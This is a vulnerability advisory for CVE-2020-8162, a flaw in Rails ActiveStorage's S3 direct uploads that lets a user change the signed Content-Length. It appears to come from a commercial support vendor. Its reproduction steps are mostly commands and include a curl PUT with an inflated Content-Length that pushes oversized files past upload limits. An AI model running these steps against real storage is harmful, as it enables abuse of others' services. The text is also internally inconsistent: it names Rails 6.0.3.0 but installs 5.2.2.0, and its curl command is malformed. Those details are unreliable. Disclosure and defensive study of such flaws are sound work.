CVE-2020-8162
Ruby on Rails (often called Rails) is a web application framework written in Ruby that emphasizes convention over configuration and the principle of "don't repeat yourself" (DRY). It provides developers with a structured and efficient way to build database-backed web applications through pre-built patterns for rapid development.
There is a vulnerability in the ActiveStorage S3 library that allows the Content-Length of a direct file upload to be modified by an end user.
Broken access control is one of the Top 10 Open Web Application Security Project (OWASP) vulnerabilities. It occurs when an attacker gains access to resources, actions, or data they should not be allowed to access due to flawed access control mechanisms. This often happens when applications fail to enforce proper authorization checks after user authentication or rely on insecure methods for access control.
Details
Module Info
- Product: Ruby on Rails Framework
- Affected packages: activestorage
- GitHub repository:
https://github.com/rails/rails/blob/main/activestorage - Published package: The individual ActiveStorage library or the entire Rails Framework (which includes ActiveStorage).
- Package manager: gem
Vulnerability Info
With this vulnerability, an attacker can control the Content-Length of an S3 direct upload URL without receiving a new signature from the server. This could be used to bypass controls in place on the server to limit upload size.
This happens because the server did not properly enforce that the Content-Length in the request matches what was originally signed. As a result, attackers could upload files that are larger than the intended limit.
Steps To Reproduce
1. Install a version of Rails vulnerable to CVE-2020-8162, such as Rails 6.0.3.0:
gem install rails -v 5.2.2.0
rails _5.2.2.0_ new vulnerable_app
cd vulnerable_app
bundle install
2. In a Rails app, ensure that ActiveStorage is configured for direct uploads. Add this to config/storage.yml:
amazon:
service: S3
access_key_id: <%= ENV['AWS_ACCESS_KEY_ID'] %>
secret_access_key: <%= ENV['AWS_SECRET_ACCESS_KEY'] %>
region: <%= ENV['AWS_REGION'] %>
bucket: <%= ENV['AWS_BUCKET'] %>
Add this to config/environments/development.rb:
config.active_storage.service = :amazon
3. Install ActiveStorage (if not already set up; the db:migrate create the ActiveStorage tables):
rails active_storage:install
rails db:migrate
4. Enable direct uploads in a form by creating a basic file upload form using ActiveStorage's direct upload feature. Create this example view (app/views/uploads/new.html.erb):
<%= form_with model: @upload, url: uploads_path, html: { multipart: true } do |form| %>
<%= form.file_field :file, direct_upload: true %>
<%= form.submit "Upload" %>
<% end %>
5. Intercept and manipulate the direct upload by opening your browser's developer tools (i.e. the Network Browser). Upload a small file through the form. Capture the pre-signed S3 URL used for the direct upload.
This will be a PUT request to S3 and will look like this:
https://your-bucket.s3.amazonaws.com/.../file.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&...
Copy this pre-signed URL for the next step.
6. Exploit the vulnerability with cURL by manually uploading a larger file than what the server originally signed for by manipulating the Content-Length header.
curl -X PUT "https://your-bucket.s3.amazonaws.com/.../file.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&..." \
-H "Content-Type: application/octet-stream" \
-H "Content-Length: 1000000000" \ # Maliciously inflated size (1GB)
--data-binary @large_file.zip
Replace large_file.zip with a file larger than the original allowed size.
The Content-Length is intentionally set to a much larger value than was signed.
7. If the upload succeeds, the server fails to enforce the signed Content-Length.
You should see the large file appear in your S3 bucket despite the original upload request being for a smaller file.
8. After the code is corrected, the S3 bucket will reject the upload due to a mismatched signature, or the server invalidates the request.
Credits
- Travis Pew (@travisp)
Mitigation
Users of affected versions of Ruby on Rails should follow one of the following mitigations:
- Upgrade to a corrected version.
- Leverage a commercial support partner like HeroDevs for post-EOL security support.